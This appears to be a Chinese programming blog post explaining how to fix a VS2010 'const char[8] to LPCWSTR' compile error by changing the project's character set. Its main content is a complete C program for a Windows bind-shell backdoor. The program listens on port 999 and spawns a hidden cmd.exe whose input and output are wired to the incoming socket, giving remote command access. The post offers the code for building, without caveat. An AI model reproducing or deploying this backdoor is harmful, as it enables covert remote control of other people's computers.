不能将参数 1 从“const char [8]”转换为“LPCWSTR”

53 篇文章 0 订阅

VS2010:

#include <winsock2.h>
#include <stdio.h>
#define MasterPort 999  //定义监听端口999
#pragma comment(lib, "ws2_32.lib")
int main()
{
  WSADATA WSADa;
  struct sockaddr_in SockAddrIn;
  SOCKET CSocket,SSocket;
  int iAddrSize;
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;
  char szCMDPath[255];
   //分配内存资源,初始化数据:
  ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
    //获取cmd路径
  GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
    //加载ws2_32.dll:
  WSAStartup(0x0202,&WSADa);
  //设置本地信息和绑定协议,建立socket,代码如下:
  SockAddrIn.sin_family = AF_INET;
  SockAddrIn.sin_addr.s_addr = INADDR_ANY;
  SockAddrIn.sin_port = htons(MasterPort);
  CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  //设置绑定端口999:
  bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
  //设置服务器端监听端口:
  listen(CSocket,1);
  iAddrSize = sizeof(SockAddrIn);
  //开始连接远程服务器,并配置隐藏窗口结构体:
  SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
  StartupInfo.cb = sizeof(STARTUPINFO);
  StartupInfo.wShowWindow = SW_HIDE;
  StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  StartupInfo.hStdInput = (HANDLE)SSocket;
  StartupInfo.hStdOutput = (HANDLE)SSocket;
  StartupInfo.hStdError = (HANDLE)SSocket;
  //创建匿名管道:
  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  //关闭进程句柄:
  closesocket(CSocket);
  closesocket(SSocket);
  WSACleanup();
  //关闭连接卸载ws2_32.dll
  return 0;
}

报错:不能将参数 1 从“const char [8]”转换为“LPCWSTR”

解决办法:

选中项目,然后点击属性——>配置属性——>常规——>项目默认值——>字符集,选为“使用多字节字符集"


  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值